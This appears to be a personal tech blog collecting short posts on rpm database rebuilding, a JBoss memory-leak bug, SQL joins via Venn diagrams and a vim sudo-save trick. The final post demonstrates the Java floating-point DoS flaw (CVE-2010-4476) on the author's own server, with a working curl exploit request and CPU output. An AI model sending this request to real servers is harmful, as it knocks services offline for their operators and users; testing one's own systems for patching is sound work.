How to regenerate rpm db cache?

Recently, I came across a situation where rpm fails to install saying the requested rpm is already installed, but on querying the installed rpm's list  it doesn't shows as installed.

Ended up searching for cleaning the rpm db cache and below command worked for me

- Move the existing database files /var/lib/rpm/_db* to another location for backup

rpm --rebuilddb

Memory leak when reading EJB 2.1 CMP EntityBeans in JBOSS7.1.1-Final

On a recent PSR testing, we saw frequent OOME on accessing the site. Later, on investigation heap dump,we found that there are large number of objects getting created for org.jboss.invocation.interceptor[] from WeavedInterceptor and ChainedInterceptor.

Below is the screen shot of it..

Later on investigation, we found its because of the bug in JBOSS7.1.1-Final, this is due migrating EJB2.1 CMP EntityBeans to this JBOSS7.1.1-Final version.

We are hitting the bug https://issues.jboss.org/browse/AS7-4675

More details on actual stack trace can be found in https://community.jboss.org/thread/198920 

The patch for this issue could be found in https://source.jboss.org/viewrep/JBossAS/cmp/src/main/java/org/jboss/as/cmp/jdbc/JDBCStoreManager.java?r1= 22dd690a56844ae54d6be29ca39014136b958566&r2=d84f915669619424fc4a4c69993fad2e128bc73b 

We need to patch JDBCStoreManager.java for this in the jboss AS 7.1.1.

Types of SQL Joins in venn diagram

Found an interesting blog which explains about types of SQL Joins using venn diagram (http://management-platform.blogspot.co.uk/2010/01/idiot-lesson-on-types-of-sql-joins.html)


Below is the content which explains the SQL Joints.

>>
Idiot Lesson On The Types Of SQL JOINs
I'm going to take a departure from my usual topics and talk briefly about a very basic concept - SQL JOINs. I'm doing this mainly for my benefit - I wanted to write this little nugget down so I don't forget it, and what better place to do so than my blog? :)

What's the difference between INNER, LEFT and RIGHT JOINs?

It seems every so often, I forget the answer to that question - I usually get confused ("what happens if there is a null - do I get a row in my results or not?"). Now, I'm sure it is easy for most people to remember how these JOINs work, but I always seem to forget. However, recently I got a good idiot lesson from Joseph Marques on this; he gave me a very short and easy way to remember the rules of these three types of JOINs. It was such an elegant way to explain it that I promised myself I would write it down so I don't forget it, so here it goes (again, I'm sure everyone knows this, and I'm sure I was even told this myself at some point in the past, but of course, I don't remember):

    JOINs can be thought of in the context of a Venn diagram. You have two circles A and B. These circles partially overlap. (circles A and B represent your table data - when you join the two circles/tables together, the overlap represents relationships between the data.)

        The overlap is the INNER join - it contains only the elements in A that also have associated B elements.

        The A circle is the LEFT join - it contains all A elements regardless of whether they have associated B elements.

        The B circle is the RIGHT join - it contains all B elements regardless of whether they have associated A elements.

Note: A LEFT or RIGHT JOIN are OUTER JOINs - sometimes you see these specified as "LEFT OUTER JOIN" or "RIGHT OUTER JOIN". Looking at the Venn diagram you can see why - they include the data outside of the inner overlap area (but also including the inner data). If you just see the word "JOIN" without a specifier, it typically is referring to an "INNER JOIN".

Below is an example complete with this Venn diagram visualization:

I have a Person table containing three people: John, Mary and Bob. I have a Phone table containing three phones that have extensions of 987, 555 and 123. John and Bob have been assigned phones (I can call John on extension 987, Bob on extension 123). Mary is not assigned a phone. The phone with the extension 555 is not assigned to any person.

The INNER join:

select name,dial_number
from person
inner join phone on person.phone_id=phone.phone_id


returns results as found in the overlapping area (John:987 and Bob:123).

The LEFT join:

select name,dial_number
from person
left join phone on person.phone_id=phone.phone_id


returns results as found in the entire left circle (John:987, Mary:null, Bob:123). Because the left table is the Person table, I have one row for each person, regardless of whether they have a phone assigned or not.

The RIGHT join:

select name,dial_number
from person
right join phone on person.phone_id=phone.phone_id


returns results as found in the entire right circle (John:987, null:555, Bob:123). Because the right table is the Phone table, I have one row for each phone, regardless of whether a person is assigned a phone or not.

I don't know why it is so hard for me to remember this - it's so obvious when you see it written down like that. But, nevertheless, I find it helpful to refresh my memory with that Venn diagram explanation whenever I experience a brain freeze while developing queries.
<<

VIM command to save the read only opened file with sudo permission

Most of the times, we get stuck on saving a vim editor contents as we would have been editing in a read-only mode. Normally when I face this situation, I use to exit the vim editor and re-open it with sudo permission and start my work all again. This command help me today to get rid of this pain. Yup, saving the read-only mode opened files with sudo permission with in the same shell. :w !sudo tee %

DoS vulnerability in all java servers that was just published in CVE-2010-4476

Oracle has given a fix for this here

Tested this bug on my jboss server and watched the increasing cpu utilization. Excited about this as I've started looking vmstat and top command outputs after yesterday's learnings about them which reports these performance details.

Here is the initial "vmstat 2" output when plain jboss process is running. You can see the 'us' column doesn't go beyond 6. 'us' columns is nothing but the time spent running non-kernel code which reflects to cpu utilization.

[prakash@cu255 CTF5.4.1]$ vmstat 2
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
1 0 68444 168692 243820 747388 0 1 4 36 19 4 1 1 99 0 0
0 0 68444 168692 243820 747388 0 0 0 0 1113 561 0 0 100 0 0
1 0 68444 168692 243820 747388 0 0 0 0 1107 559 0 0 100 0 0
1 0 68444 162988 243820 747388 0 0 0 68 1115 528 33 2 65 0 0
0 0 68444 162988 243820 747388 0 0 0 0 1112 567 0 1 99 0 0
0 0 68444 162864 243820 747392 0 0 0 92 1117 563 0 0 99 0 0
0 0 68444 162864 243820 747392 0 0 0 98 1125 553 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 0 1115 575 0 1 98 0 0
0 0 68444 162864 243820 747392 0 0 0 60 1108 552 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 0 1120 575 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 60 1107 551 0 1 99 0 0
1 0 68444 162864 243820 747392 0 0 0 14 1120 570 0 0 100 0 0
1 0 68444 162864 243820 747392 0 0 0 0 1112 558 0 0 99 0 0
0 0 68444 162864 243824 747392 0 0 0 76 1109 561 0 1 99 0 0
0 0 68444 162864 243824 747392 0 0 0 0 1116 580 0 0 100 0 0
0 0 68444 162864 243824 747392 0 0 0 68 1113 562 0 0 100 0 0
0 0 68444 162864 243824 747392 0 0 0 6 1122 582 0 1 99 0 0
0 0 68444 162864 243824 747392 0 0 0 0 1102 541 0 0 100 0 0
1 0 68444 162484 243824 747392 0 0 0 86 1120 725 2 2 96 0 0
0 0 68444 162484 243824 747392 0 0 0 0 1108 570 0 0 100 0 0
0 0 68444 162484 243824 747392 0 0 0 72 1109 562 0 0 100 0 0
0 0 68444 162484 243824 747392 0 0 0 0 1120 576 0 1 99 0 0
0 0 68444 162484 243824 747428 0 0 0 16 1107 555 0 0 100 0 0
0 0 68444 161864 243824 747432 0 0 0 510 1187 657 6 5 89 0 0


Now I issue the DoS vulnerability command in another terminal using curl.

curl -H "Accept-Language: en-us;q=2.2250738585072012e-308" http://${HTTP_HOST}/requested_page

Here you can see, how much the 'us' column increased, it utilized to 100%. This makes my cpu % worst.

procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
2 0 68444 161740 243856 747508 0 0 0 80 1108 592 99 1 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1102 579 98 2 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1108 569 99 1 0 0 0
1 0 68444 161740 243856 747508 0 0 0 60 1103 571 98 2 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1108 571 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 94 1107 595 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 48 1085 544 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 8 1111 639 99 1 0 0 0
1 0 68444 161740 243856 747516 0 0 0 92 1102 541 99 1 0 0 0
1 0 68444 161740 243856 747516 0 0 0 0 1114 577 99 1 0 0 0
1 0 68444 161740 243856 747520 0 0 0 36 1116 596 98 2 0 0 0
1 0 68444 161740 243860 747528 0 0 0 124 1106 578 99 1 0 0 0
1 0 68444 161740 243860 747528 0 0 0 0 1107 585 98 2 0 0 0
1 0 68444 161740 243860 747528 0 0 0 72 1100 569 99 1 0 0 0
2 0 68444 161740 243860 747528 0 0 0 0 1112 591 99 1 0 0 0
1 0 68444 161740 243860 747528 0 0 0 0 1101 576 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 86 1119 575 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1102 561 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 82 1109 578 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1108 574 98 2 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1099 589 100 0 0 0 0


Also the top command:

top - 11:58:41 up 17 days, 15 min, 4 users, load average: 1.05, 1.09, 1.00
Tasks: 123 total, 3 running, 119 sleeping, 0 stopped, 1 zombie
Cpu(s): 98.7%us, 1.0%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.3%si, 0.0%st
Mem: 2059588k total, 1936104k used, 123484k free, 244512k buffers
Swap: 2096472k total, 68432k used, 2028040k free, 760124k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
28975 prakash 21 0 1428m 528m 16m S 99.9 26.3 20:59.60 /usr/java/jdk1.6.0_18//bin/java -Xms1024m -Xmx1024m -XX:MaxPermSize=256m -server -XX:+HeapDumpOn
29768 prakash 21 0 506m 77m 9100 S 0.3 3.8 0:03.08 /usr/java/jdk1.6.0_18//bin/java -Xms1024m -Xmx1024m -XX:MaxPermSize=256m -server -XX:+HeapDumpOn
10063 prakash 15 0 123m 2812 1648 S 0.0 0.1 0:00.20 /usr/sbin/httpd

You can see the %CPU of my jboss server box went up to 99.9%. So, it's good to have this patch in the jre versions which the server use.